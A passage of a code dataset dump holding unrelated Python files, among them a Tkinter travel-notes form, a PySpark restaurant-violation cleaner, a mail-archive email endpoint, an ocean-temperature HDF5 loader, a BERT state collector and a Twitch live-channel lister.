weight=1)\n\n        # Label Important Points\n        tk.Label(master, text=\"Name:\"+s[1], width=20, height=2).grid(row=1, column=2)\n        tk.Label(master, text=\"Destination:\"+s[2], width=20, height=2).grid(row=2, column=2)\n        tk.Label(master, text=\"Date:\"+s[3], width=20, height=2).grid(row=3, column=2)\n        tk.Label(master, text=\"Time:\"+s[4], width=20, height=2).grid(row=4, column=2)\n        tk.Label(master, text=\"Duration:\"+s[5], width=20, height=2).grid(row=5, column=2)\n        tk.Label(master, text=\"Description:\"+s[6], width=20, height=2).grid(row=6, column=2)\n\n# Make window for input\ndef new_note (list_box, indexes_list):\n\n    # Create master\n    master = tk.Tk()\n\n    # Make three labels for description of School section\n    tk.Label(master, text=\"Travel notes:\").grid(row=0)\n    tk.Label(master, text=\"Name:\").grid(row=1)\n    tk.Label(master, text=\"Destination:\").grid(row=2)\n    tk.Label(master, text=\"Date:\").grid(row=3)\n    tk.Label(master, text=\"Time:\").grid(row=4)\n    tk.Label(master, text=\"Duration:\").grid(row=5)\n    tk.Label(master, text=\"Description:\").grid(row=6)\n\n    # Make input boxes\n    input1 = tk.Entry(master)\n    input2 = tk.Entry(master)\n    input3 = tk.Entry(master)\n    input4 = tk.Entry(master)\n    input5 = tk.Entry(master)\n    input6 = tk.Entry(master)\n\n    # Set position of a box\n    input1.grid(row=1, column=1)\n    input2.grid(row=2, column=1)\n    input3.grid(row=3, column=1)\n    input4.grid(row=4, column=1)\n    input5.grid(row=5, column=1)\n    input6.grid(row=6, column=1)\n\n    # Make buttons and setting actions\n    tk.Button(master, text='Quit', command=master.destroy).grid(row=8, column=1, sticky=tk.W,pady=4)\n    tk.Button(master, text='Done', command=lambda:read_input(master, input1, input2, input3, input4, input5, input6, list_box, indexes_list)).grid(row=8, column=2, sticky=tk.W, pady=4)\n","sub_path":"Travel.py","file_name":"Travel.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"282786058","text":"### Read CSV FILES                ###\n### CREATE NESSECARY DATA FRAMES  ###\n### AND PARQUET FILES             ###\n\n\nfile_names = ['restaurant_categories.csv', 'restaurant_cities.csv',\\\n              'restaurant_establishments.csv', \\\n              'restaurant_inspection_types.csv', 'restaurants_serials.csv',\\\n              'restaurant_violations.csv', 'restaurant_pe_category_xref.csv',\\\n              'restaurant_inspections2.csv']\n\n\ndef fix_address(addr):\n    '''Swap words from addr in their full form '''\n\n    swap_words = swap_words_bc.value\n    addr_split = addr.upper().split()\n    \n    for i in range(len(addr_split)):\n        \n        w = addr_split[i]\n\n        if w in swap_words:\n            addr_split[i] = swap_words[w]\n\n    new_addr = \"\"\n    for w in addr_split:\n        new_addr += w + ' '\n    new_addr = new_addr[:-1]\n    return new_addr\n    \n\n#functions\ndef diff_dates(begin, end):\n    '''Take two dates begin and end and return the difference in years (float)'''\n    d1 = begin\n    d2 = end\n\n    #print d1\n    #print d2\n\n    d1split = d1.split('-')\n    d2split = d2.split('-')\n    \n    y1 = int(d1split[0])\n    y2 = int(d2split[0])\n\n    m1 = int(d1split[1])\n    m2 = int(d2split[1])\n\n    dy = (y2 + m2/12.0) - (y1 + m1/12.0)\n    return dy\n\ndef remove_zero(f):\n    '''IF f  = 0 return 1'''\n\n    if (f == 0.0):\n        #print f\n        return 1.0\n    return f\n\ndef four_scale(v):\n    '''Return four scale rank: between 1-4'''\n\n    if (v < 1.456895):\n        return 4\n    elif ( v < 1.994475):\n        return 3\n    elif (v < 2.990196):\n        return 2\n    else:\n        return 1\n\ndef five_scale(v):\n    '''Return five scale rank: between 1-5'''\n    \n    if (v < 1.354112):\n        return 5\n    elif (v < 1.749172):\n        return 4\n    elif (v < 2.184831):\n        return 3\n    elif (v < 3.434874):\n        return 2\n    else:\n        return 1\n\nfrom pyspark.sql import SQLContext\nfrom pyspark.sql.functions import udf\nfrom pyspark import SparkConf, SparkContext\nimport pylab as pl\nimport numpy as np\nfrom pyspark.sql.types import *\n\nconf = SparkConf().setAppName(\"READ CSV\")\nsc = SparkContext(conf=conf)\nsqlContext = SQLContext(sc)\n\n\nrest_df = sqlContext.read.format('com.databricks.spark.csv')\\\n     .options(header='true', inferschema='true').load(file_names[2])\n\nvio_df = sqlContext.read.format('com.databricks.spark.csv')\\\n     .options(header='true', inferschema='true').load(file_names[-1])\n\none = udf(lambda v: 1)\nvio_df = vio_df.select(\"RESTAURANT_PERMIT\", \"DATE\", \\\n                       one(vio_df.GRADE).alias(\"num\"))\n\nvio_df = vio_df.registerTempTable(\"vio_df\")\nvio_df = sqlContext.sql(\"select RESTAURANT_PERMIT, sum(num) as NUM_VIOLATIONS, max(DATE) as fin, min(DATE) as begin from vio_df group by RESTAURANT_PERMIT\")\n\ndiff_date_udf = udf(lambda d1, d2: diff_dates(d1, d2), FloatType())\n\nvio_df = vio_df.select(\"RESTAURANT_PERMIT\", \"NUM_VIOLATIONS\",\\\n        diff_date_udf(vio_df.begin, vio_df.fin).alias(\"YEAR_DIFF\"))\n\nremove_zero_udf = udf(lambda val: remove_zero(val), FloatType())\n\nvio_df = vio_df.select(\"RESTAURANT_PERMIT\", \"NUM_VIOLATIONS\",\\\n        remove_zero_udf(vio_df.YEAR_DIFF)\\\n                       .alias(\"YEAR_DIFF\"))\n\nvio_per_year = udf(lambda vio, yrs: vio / yrs, FloatType())\n\nvio_df = vio_df.select(\"RESTAURANT_PERMIT\", \\\n         vio_per_year(vio_df.NUM_VIOLATIONS, vio_df.YEAR_DIFF)\\\n         .alias(\"VIOLATIONS_PER_YEAR\"))\n\n\nfourscale_udf = udf(four_scale, IntegerType())\nfivescale_udf = udf(five_scale, IntegerType())\n\n#assign ranks\nvio_df = vio_df.withColumn(\"four_scale\",\n                           fourscale_udf(vio_df.VIOLATIONS_PER_YEAR))\nvio_df = vio_df.withColumn(\"five_scale\",\n                           fivescale_udf(vio_df.VIOLATIONS_PER_YEAR))\n\n#Join with main dataset\nall_data = rest_df.join(vio_df, \\\n                            rest_df.PERMIT_NUMBER == vio_df.RESTAURANT_PERMIT)\n\n#fix addresses with swap words\nswap_words = np.genfromtxt(\"swap_words.csv\", skip_header=1,\\\n                               delimiter=',', dtype=str)\nswap_words = dict(swap_words)\nswap_words_bc = sc.broadcast(swap_words)\n\naddress_fix_udf = udf(fix_address, StringType())\n\nall_data = all_data.withColumn(\"full_addr\", \\\n                               address_fix_udf(all_data.ADDRESS))\n\n#select needed columns with \"nice\" alias(es)\n\nall_data = all_data.select(all_data.PERMIT_NUMBER.alias(\"id\"),\\\n                           all_data.NAME.alias(\"long_name\"), \\\n                           all_data.LOCATION_NAME.alias(\"short_name\"),\\\n                           all_data.full_addr.alias(\"address\"),\\\n                           all_data.LATITUDE.alias(\"lat\"),\\\n                           all_data.LONGITUDE.alias(\"long\"),\\\n                           all_data.CITY_NAME.alias(\"district\"),\\\n                           all_data.ZIP_CODE.alias(\"zip\"),\\\n                           all_data.CURRENT_GRADE.alias(\"grade\"),\\\n                           all_data.CURRENT_DEMERITS.alias(\"demerits\"),\\\n                           all_data.SEARCH_TEXT.alias(\"search_text\"),\\\n                           all_data.VIOLATIONS_PER_YEAR.alias(\"vio_per_year\"),\\\n                           all_data.four_scale.alias(\"four_scale_stars\"),\\\n                           all_data.five_scale.alias(\"five_scale_stars\"))\n\n#save data as parquet file\nall_data.write.format(\"parquet\").save(\"lv_clean_data.parquet\")\n","sub_path":"lv_data/lv_clean.py","file_name":"lv_clean.py","file_ext":"py","file_size_in_byte":5324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"525061535","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements.  See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License.  You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Simple endpoint that returns an email or an attachment from one\"\"\"\n\"\"\" THIS ONLY DEALS WITH PUBLIC EMAILS FOR NOW - AAA IS BEING WORKED ON\"\"\"\n\nimport plugins.server\nimport plugins.session\nimport plugins.messages\nimport plugins.database\nimport aiohttp.web\nimport plugins.aaa\nimport base64\nimport typing\n\n\nasync def process(\n    server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,\n) -> typing.Union[dict, aiohttp.web.Response]:\n\n    # Has a list id been provided?\n    listid = indata.get(\"listid\", \"\")\n\n    # lookup by message id must always include a list id for disambiguation\n    if listid:\n        email = await plugins.messages.get_email(session, messageid=indata.get(\"id\"), listid=listid)\n    else: # Else assume permalink and look up the email based on that\n        email = await plugins.messages.get_email(session, permalink=indata.get(\"id\"))\n\n    if email is None:\n        return aiohttp.web.Response(headers={}, status=404, text=\"Email not found\")\n\n    # If email was found, process the request\n    if email:\n        # Are we fetching an attachment?\n        if not indata.get(\"attachment\"):\n            if not email.get(\"gravatar\"):\n                email[\"gravatar\"] = plugins.messages.gravatar(email)\n            return email\n        else:\n            fid = indata.get(\"file\")\n            for entry in email.get(\"attachments\", []):\n                if entry.get(\"hash\") == fid:\n                    ct = entry.get(\"content_type\") or \"application/binary\"\n                    headers = {\n                        \"Content-Type\": ct,\n                        \"Content-Length\": str(entry.get(\"size\")),\n                    }\n                    if \"image/\" not in ct and \"text/\" not in ct:\n                        headers[\"Content-Disposition\"] = f\"attachment; filename=\\\"{entry.get('filename')}\\\"\"\n                    try:\n                        assert session.database, \"Database not connected!\"\n                        attachment = await session.database.get(\n                            index=session.database.dbs.db_attachment, id=indata.get(\"file\")\n                        )\n                        if attachment:\n                            blob = base64.decodebytes(attachment[\"_source\"].get(\"source\").encode(\"utf-8\"))\n                            return aiohttp.web.Response(headers=headers, status=200, body=blob)\n                    except plugins.database.DBError:\n                        pass  # attachment not found\n            return aiohttp.web.Response(headers={}, status=404, text=\"Attachment not found\")\n\n    return aiohttp.web.Response(headers={}, status=404, text=\"Email not found\")\n\n\ndef register(server: plugins.server.BaseServer):\n    return plugins.server.Endpoint(process)\n","sub_path":"server/endpoints/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"510497161","text":"#! /usr/bin/env python\n# encoding: utf-8\n\nAPPNAME = 'prog1'\nVERSION = '1.0.0'\n\n\ndef recurse_helper(ctx, dependency):\n    if not ctx.has_dependency_path(dependency):\n        ctx.fatal('Load a tool to find %s as system dependency' % dependency)\n    else:\n        p = ctx.dependency_path(dependency)\n        ctx.recurse(p)\n\n\ndef options(opt):\n\n    opt.load('toolchain_cxx')\n    opt.load('dependency_bundle')\n\n    import waflib.extras.dependency_bundle as bundle\n    import waflib.extras.dependency_resolve as resolve\n\n    bundle.add_dependency(opt, resolve.ResolveGitMajorVersion(\n        name='gtest',\n        git_repository='git://github.com/steinwurf/external-gtest.git',\n        major_version=1))\n\n    bundle.add_dependency(opt, resolve.ResolveGitMajorVersion(\n        name='fifi',\n        git_repository='git://github.com/steinwurf/fifi.git',\n        major_version=1))\n\n\ndef configure(conf):\n\n    conf.load('toolchain_cxx')\n    conf.load('dependency_bundle')\n\n    recurse_helper(conf, 'fifi')\n    recurse_helper(conf, 'gtest')\n\n\ndef build(bld):\n\n    # Build dependency\n    recurse_helper(bld, 'fifi')\n    recurse_helper(bld, 'gtest')\n\n    bld.program(source='main.cpp',\n                target='prog1',\n                use='gtest')\n","sub_path":"test/prog1/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"629073675","text":"import fsspec\nimport xarray as xr \nimport scipy\nimport os\nfrom glob import glob\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tables\n\nSST_DATASETS_PATH = \"./numpy_array\"\n\nclass DataLoader():\n    def __init__(self, dataset_name, img_res=(512, 512), downsize_factor=(4, 4), local_path=None):\n        self.dataset_name = dataset_name\n        self.img_res = img_res\n        self.downsize_factor = downsize_factor\n        self.use_local_data = True\n\n        if self.use_local_data:\n            # load from test dataset\n            assert local_path is not None\n            #sst_dataset_path = local_path + \"/{}.npz\".format(self.dataset_name)\n            self.sst_dataset_path = local_path\n        else:\n            #sst_dataset_path = os.path.join(SST_DATASETS_PATH, \"{}.npz\".format(dataset_name))\n            self.sst_dataset_path = SST_DATASETS_PATH\n            if not os.path.exists(SST_DATASETS_PATH):\n                try:\n                    os.makedirs(SST_DATASETS_PATH)\n                except:\n                    print(SST_DATASETS_PATH + \" created error\")\n            uris = ['gcs://pangeo-ocean-ml/LLC4320/SST.{id:010d}.zarr'.format(id=tstep) for tstep in range(0, 4088+1, 73)][:]\n            #uris = [f'gcs://pangeo-ocean-ml/LLC4320/SST.{tstep:010d}.zarr' for tstep in range(0, 4088+1, 73)][:10]\n            dsets = [xr.open_zarr(fsspec.get_mapper(uri), consolidated=True) for uri in uris]\n            ds = xr.combine_nested(dsets, 'timestep')\n            print(ds)\n            # to use ds.SST[0] to calculate nan value for all timestep\n            num_nans = ds.SST[0].isnull().sum(dim=['x', 'y']).load()\n            sst_valid = ds.SST.where(num_nans == 0, drop=True)\n            print(sst_valid)\n            sst_coarse = sst_valid.coarsen(x=self.downsize_factor[0], y=self.downsize_factor[1]).mean()\n            print(sst_coarse)\n\n            temp = sst_valid[0][0].load().values\n            length = img_res[0]*img_res[1]+img_res[0]//downsize_factor[0]*img_res[1]//downsize_factor[1]\n            print(length)\n            hdf5_path = SST_DATASETS_PATH+ \"/output.hdf5\"\n            # 和普通文件操作类似，'w'、'r'、'a' 分别表示写数据、读数据、追加数据\n            hdf5_file = tables.open_file(hdf5_path, mode='w')\n            # 设定压缩级别和压缩方法\n            filters = tables.Filters(complevel=5, complib='blosc')\n            earray = hdf5_file.create_earray(\n                hdf5_file.root,\n                'data', # 数据名称，之后需要通过它来访问数据\n                tables.Atom.from_dtype(temp.dtype), # 设定数据格式（和data1格式相同）\n                shape=(0, length), # 第一维的 0 表示数据可沿行扩展\n                filters=filters,\n                expectedrows=15000 # 完整数据大约规模，可以帮助程序提高时空利用效率\n            )\n\n            for timestep in range(sst_valid.shape[0]):\n                for region in range(sst_valid.shape[1]):\n                    # hr.append(sst_valid[timestep, region].load().values)\n                    # lr.append(sst_coarse[timestep, region].load().values)\n                    hr = sst_valid[timestep, region].load().values\n                    lr = sst_coarse[timestep, region].load().values\n                    hr = hr.flatten()\n                    lr = lr.flatten()\n                    temp = np.append(hr, lr).reshape((1, -1))\n                    print(temp.shape)\n                    earray.append(temp)\n            print(\"got values!\")\n            hdf5_file.close()\n\n            #np.savez(sst_dataset_path, name1=np.array(hr), name2=np.array(lr))\n            print(\"hdf5 successfully saved\")\n\n        #hr,lr = np.load(sst_dataset_path)\n        #data = np.load(sst_dataset_path)\n        #self.hr = data['name1']\n        #self.lr = data['name2']\n        #print(\"numpy array successfully loaded\")\n\n    def load_data(self, batch_size=1, is_testing=False):\n        \n        hdf5_path = self.sst_dataset_path + \"output.hdf5\"\n        hdf5_file = tables.open_file(hdf5_path, mode='r')\n        # 数据名称为 'data'，我们可以通过 .root.data 访问到它\n        hdf5_data = hdf5_file.root.data\n        print(hdf5_data.shape) # (1000, 4096)\n        # 像在内存中一样自由读取数据切片！\n        batch_index = np.random.choice(hdf5_data.shape[0], size=batch_size)\n        batch = np.array([hdf5_data[x] for x in batch_index])\n        print(batch)\n        hr = batch[:, 0:self.img_res[0]*self.img_res[1]].reshape(-1, self.img_res[0], self.img_res[1])\n        lr = batch[:, self.img_res[0]*self.img_res[1]:].reshape(-1, int(self.img_res[0]/self.downsize_factor[0]), \\\n            int(self.img_res[1]/self.downsize_factor[1]))\n        #print(hdf5_data[:10])\n        hdf5_file.close()\n        return hr, lr\n        \n        # imgs_hr = []\n        # imgs_lr = []\n        # for nparray in batch_nparrays:\n        #     data = np.load(nparray)\n        #     hr_image = data['name1']\n        #     lr_image = data['name2']\n        # #for hr_image, lr_image in zip(batch_hr, batch_lr):\n        #     if not is_testing and np.random.random() < 0.5:\n        #         hr_image = np.fliplr(hr_image)\n        #         lr_image = np.fliplr(lr_image)\n        #     imgs_hr.append(hr_image)\n        #     imgs_lr.append(lr_image)\n\n        #self.num_batch = int(len(imgs_hr) / batch_size)\n        # imgs_hr = np.array(imgs_hr) / 127.5 - 1.\n        # imgs_lr = np.array(imgs_lr) / 127.5 - 1.\n\n        #return np.array(imgs_hr), np.array(imgs_lr)\n\n    # the following is using generator to load data\n    def load_data_generator(self, batch_size=1, is_testing=False):\n\n        self.num_batch = int(len(self.hr.shape[0]) / batch_size)\n        self.hr_stream = self.hr[:self.num_batch * batch_size,]\n        self.hr_sequence_batch = np.split(self.hr_stream, self.num_batch, 0)\n        self.lr_stream = self.lr[:self.num_batch * batch_size,]\n        self.lr_sequence_batch = np.split(self.lr_stream, self.num_batch, 0)\n        self.pointer = 0\n\n    def next_batch(self):\n        imgs_hr = self.hr_sequence_batch[self.pointer]\n        imgs_lr = self.lr_sequence_batch[self.pointer]\n        self.pointer = (self.pointer + 1) % self.num_batch\n\n        return imgs_hr, imgs_lr\n\n    def reset_pointer(self):\n        self.pointer = 0\n\n\n\n","sub_path":"sst_srgan/src/data_loader_hdf5.py","file_name":"data_loader_hdf5.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"380668226","text":"import bert\nimport argparse\nfrom typing import List, Tuple\nimport pickle\nimport tqdm\n\ndef collect_bert_states(bert, data: List[Tuple], layers: List[int], final_transform: bool, mask_prob: float):\n    data_with_states = []\n\n    for i, d in tqdm.tqdm(enumerate(data), total=len(data)):\n        sent, ind, label = d[\"text\"], d[\"ind\"], d[\"label\"]\n\n        preds, orig2tok, bert_tokens = bert.encode(sent, layers=layers, pos_ind=ind,\n                                                   mask_prob=mask_prob, final_transform=final_transform)\n\n        j = orig2tok[ind]\n        v = preds[j]\n\n        dict_with_state = d.copy()\n        dict_with_state[\"vec\"] = v\n        data_with_states.append(dict_with_state)\n\n    return data_with_states\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser(\n    description='Collecting priming-data RC dataset',\n    formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n    parser.add_argument('--device', dest='device', type=str,\n                    default=\"cuda\",\n                    help='cpu/cuda')\n    parser.add_argument('--layer', dest='layer', type=int,\n                    default = 9,\n                    help='layer to take')\n    parser.add_argument('--mask', dest='mask', type=int,\n                    default =1,\n                    help='whether to mask the token over which the state is collected')\n    parser.add_argument('--random', dest='random', type=int,\n                    default =0,\n                    help='whether to use randomly initialized bert')                    \n    parser.add_argument('--label', dest='label', type=str,\n                    default =\"\",\n                    help='label string to concatenate to layer name')\n                        \n    args = parser.parse_args()\n    args.random = True if args.random == 1 else False\n    layer = args.layer\n    if args.random:\n        args.layer = str(args.layer) + \"-random\"\n    print(args.mask)\n    print(args.layer)\n    print(args.random)\n    model = bert.BertEncoder(args.device, random = args.random)\n\n    with open(\"../data/data.pickle\", \"rb\") as f:\n        data = pickle.load(f)\n\n    mask_prob = args.mask\n    data_with_states = collect_bert_states(model, data, [layer], False, mask_prob)\n    masked_str = \"True\" if args.mask == 1 else \"False\"\n    with open(\"../data/data_with_states.layer={}.masked={}.pickle\".format(str(args.layer) + args.label, masked_str), \"wb\") as f:\n        pickle.dump(data_with_states, f)\n","sub_path":"old/src/collect_bert_states.py","file_name":"collect_bert_states.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"164440773","text":"def solve():\n    n = int(input())\n    a = []\n    b = []\n    for _ in range(n):\n        A, B = map(int, input().split())\n        a.append(A)\n        b.append(B)\n\n    ans = b[-1] - a[-1]%b[-1]\n    if a[-1]%b[-1] == 0: ans = 0\n\n    for i in range(1, n):\n        c = a[-(i+1)]+ans\n\n        if c%b[-(i+1)] == 0: continue\n\n        dis = b[-(i+1)]-c%b[-(i+1)]\n        ans += dis\n\n    return ans\n    \n\nprint(solve())\n","sub_path":"Python_codes/p03821/s644611965.py","file_name":"s644611965.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"155506714","text":"import urllib2\nimport json\nfrom pprint import pprint\n\nfollowedChannels = []\nliveChannels = []\noffset = 0;\n\n#Get twitch.tv username as user input\nusername = raw_input(\"Enter your twitch.tv username: \")\n\n#Create an html file to write to and initialize headers for .html\nfile = open('twitchyStripped.html', 'w')\nfile.write('<!DOCTYPE html>' + '<html>' + '<head>' + '<title> twitchy </title>' + '</head>' + '<body>' + '<h1>' + username + ' Followed Live Streams on Twitch.tv' + '</h1>')\n\n#followsChannelUrl is a Url from twitch api. It returns a list of follow objects.\nfollowsChannelsUrl = 'https://api.twitch.tv/kraken/users/' + username + '/follows/channels/'\n\n#Cut this string from the link to get the username only\nstripUrl = 'https://api.twitch.tv/kraken/users/' + username + '/follows/channels/'\n\n#Request followsChannelsUrl and open it\nreq = urllib2.Request(followsChannelsUrl)\nreq.add_header('Accept', 'application/vnd.twitchtv.v3+json')\nres = urllib2.urlopen(req)\n\n#Take the JSON string and return as Python data\ndata = json.load(res)\n\n#Grab the total number of streams the user followed\nstreamsFollowed = data[u'_total']\n\nif streamsFollowed == 0:\n\tpprint('You are not following any channels.')\n\nelse:\n\t#Parse streamer name from URL and append to an array which we use later.\n\twhile streamsFollowed > 0:\n\n\t\t#Visit 'https://github.com/justintv/Twitch-API/blob/master/v3_resources/follows.md#get-usersuserfollowschannels' for more information about limits and offsets.\n\t\tfollowsChannelsUrl = 'https://api.twitch.tv/kraken/users/' + username + '/follows/channels?direction=DESC&limit=100&offset=' + str(offset) + '&sortby=created_at'\n\n\t\t#Request followsChannelsUrl and then take JSON string and return as Python data\n\t\treq = urllib2.Request(followsChannelsUrl)\n\t\treq.add_header('Accept', 'application/vnd.twitchtv.v3+json')\n\t\tres = urllib2.urlopen(req)\n\t\tdata = json.load(res)\n\n\t\t#The length of the current 'follows' array. We use this to loop through the arrays containing the usernames.\n\t\tlength = len(data[u'follows'])\n\n\t\t#Loop through the array of streamers, parse the string to just use the username, and then append it to the followedChannels array.\n\t\tfor i in xrange(length):\n\t\t\tstreamer = data[u'follows'][i][u'_links'][u'self']\n\t\t\tstreamer = streamer.replace(stripUrl, \"\");\n\t\t\tfollowedChannels.append(streamer)\n\n\t\t#Subtract 100 for this iteration\n\t\tstreamsFollowed -= length\n\n\t\t#Add 100 to offset in order to retrieve next 100 elements in the array (since the limit is set to 100 by default).\n\t\toffset += 100;\n\n\t#pprint(followedChannels)\n\tfollowedChannels.sort();\n\n\tfor streamer in followedChannels:\n\t\t#Stream url - returns a stream object if the streamer is live\n\t\tstreamUrl = 'https://api.twitch.tv/kraken/streams/' + streamer\n\t\treq = urllib2.Request(streamUrl)\n\t\treq.add_header('Accept', 'application/vnd.twitchtv.v3+json')\n\t\tres = urllib2.urlopen(req)\n\t\tdata = json.load(res)\n\n\t\tif (data[u'stream'] != None):\n\t\t\t#Store live channels in an array.\n\t\t\tliveChannels.append(streamer)\n\t\t\tpprint(streamer + ' is live.')\n\n\t\t\t#Uncomment below if you want to print the data in console\n\t\t\t#pprint('Currently playing: ' + data[u'stream'][u'game'])\n\t\t\t#pprint('Viewers: ' + str(data[u'stream'][u'viewers']))\n\t\t\t#pprint('Link: ' + 'http://www.twitch.tv/' + streamer)\n\t\t\t#pprint('\\n')\n\n\t\t\t#Write data to file specified above\n\t\t\tfile.write('<p>' + '<a href=' + 'http://www.twitch.tv/' + streamer + '>' + streamer + '</a>' + ' is live.' '</br>')\n\n\t#file.write('Done.')\n\tfile.write('<footer><p>Created by: James J. Lee </br>Visit his site: <a href=http://www.jamesjlee.in>jamesjlee.in</a></br>Follow him on twitter: <a href=https://www.twitter.com/jamesjlee8>@jamesjlee8</a></p></footer>')\n\tfile.write('</body>')\n\tfile.write('</html>')\n\tfile.flush()\n\tfile.close()\n\tpprint('Done.')\n\n\t\t#Uncomment this if you want a list of offline streamers.\n\t\t#else:\n\t\t\t#pprint(streamer + ' is currently not live.')\n","sub_path":"twitchyStripped.py","file_name":"twitchyStripped.py","file_ext":"py","file_size_in_byte":3897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"195374901","text":"def SingleExon(L, SortedByER=True, SortedByIR=False):\n    if SortedByER:\n        L.sort(lambda x,y:cmp(int(x[3]), int(y[3])))\n    elif SortedByIR:\n        L.sort(lambda x,y:cmp(int(x[2]), int(y[2])))\n        \n    return L\n\n\ndef HardFilter(inF, N=3):\n    ouFile = open(inF + '_HardFlt', 'w')\n    inFile = open(inF)\n    head = inFile.readline()\n    L = []\n    while True:\n        line = inFile.readline().strip()\n        if line:\n            L.append(line.split('\\t'))\n            if len(L) == N:\n                #se = SingleExon(L)\n                for item in L:\n                    ouFile.write('\\t'.join(item) + '\\n')\n                L = []\n        else:\n            break\n\n    inFile.close()\n    ouFile.close()\n\n#HardFilter('Homo_sapiens.GRCh37.75.Exons_IRidERid_IRER')\nHardFilter('y')\n","sub_path":"Data/GTEx/GTExV7/ExonIRER/m.py","file_name":"m.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"214327271","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n@File    :   03.py\n@Time    :   2019/05/20 21:02:32\n@Version :   1.0\n@Author  :   waleslau \n@Contact :   waleslau@foxmail.com\n'''\n\n\ndef look(num):\n    num = num\n    if num > 0:\n        print(\"输入的是正��\")\n    elif num < 0:\n        print(\"输入的是负数\")\n    else:\n        print(\"输入的是零\")\n\n\n# 获取输入\nnum = int(input(\"输入要判断的数字:\"))\n# 执行\nlook(num)\n","sub_path":"python/test-classroom/20190520/03.py","file_name":"03.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"652450629","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom __future__ import absolute_import, print_function\n\nimport argparse\nimport logging\nimport os\nimport sys\nfrom collections import OrderedDict\n\nimport tornado.log\nfrom blessings import Terminal\nfrom stevedore import ExtensionManager\n\nfrom medikit.config import read_configuration\nfrom medikit.events import LoggingDispatcher, ProjectEvent\nfrom medikit.feature import ProjectInitializer\nfrom medikit.settings import DEFAULT_FEATURES, DEFAULT_FILES\n\n# Globals\nlogger = logging.getLogger()\ntornado.log.enable_pretty_logging(logger=logger)\nt = Terminal()\n\n\ndef _read_configuration(dispatcher, config_filename):\n    \"\"\"\n    Prepare the python context and delegate to the real configuration reader (see config.py)\n\n    :param EventDispatcher dispatcher:\n    :return tuple: (variables, features, files, setup)\n    \"\"\"\n    if not os.path.exists(config_filename):\n        raise IOError('Could not find project description file (looked in {})'.format(config_filename))\n\n    variables = OrderedDict()\n\n    files = {filename: '' for filename in DEFAULT_FILES}\n\n    setup = OrderedDict(\n        (\n            ('name', None,), ('description', None,), ('license', None,), ('entry_points', {},),\n            ('install_requires', [],), ('extras_require', {},), ('data_files', [],),\n            ('url', 'http://example.com/',), ('download_url', 'http://example.com/',),\n        )\n    )\n\n    features = set(DEFAULT_FEATURES)\n\n    return read_configuration(dispatcher, config_filename, variables, features, files, setup)\n\n\ndef main(args=None):\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('--config', '-c', default='Projectfile')\n    parser.add_argument('--verbose', '-v', action='store_true', default=False)\n\n    subparsers = parser.add_subparsers(dest='command')\n    subparsers.required = True\n\n    # todo aliases for update/init\n    # warning: http://bugs.python.org/issue9234\n\n    parser_init = subparsers.add_parser('init', help='Initialize a new project.')\n    parser_init.set_defaults(handler=handle_init)\n    parser_init.add_argument('--name')\n    parser_init.add_argument('--description')\n    parser_init.add_argument('--license')\n    parser_init.add_argument('--feature', '-f', action='append', dest='features')\n\n    parser_update = subparsers.add_parser('update', help='Update current project.')\n    parser_update.set_defaults(handler=handle_update)\n\n    options = parser.parse_args(args if args is not None else sys.argv[1:])\n    if options.verbose:\n        logger.setLevel(logging.DEBUG)\n\n    options = vars(options)\n    handler = options.pop('handler')\n    config_filename = os.path.join(os.getcwd(), options.pop('config'))\n\n    return handler(config_filename, **options)\n\n\ndef handle_init(config_filename, **options):\n    if os.path.exists(config_filename):\n        raise IOError(\n            'No config should be present in current directory to initialize (found {})'.format(config_filename)\n        )\n\n    # Fast and dirty implementation\n    # TODO\n    # - input validation\n    # - getting input from env/git conf (author...),\n    # - dispatching something in selected features so maybe they can suggest deps\n    # - deps selection\n    # - ...\n    dispatcher = LoggingDispatcher()\n    initializer = ProjectInitializer(dispatcher, options)\n    initializer.execute()\n    return handle_update(config_filename)\n\n\ndef handle_update(config_filename, **kwargs):\n    dispatcher = LoggingDispatcher()\n\n    variables, features, files, setup, config = _read_configuration(dispatcher, config_filename)\n\n    feature_instances = {}\n    logger.info(\n        'Updating {} with {} features'.\n            format(t.bold(setup['name']), ', '.join(t.bold(t.green(feature_name)) for feature_name in sorted(features)))\n    )\n\n    all_features = {}\n\n    def register_feature(ext, all_features=all_features):\n        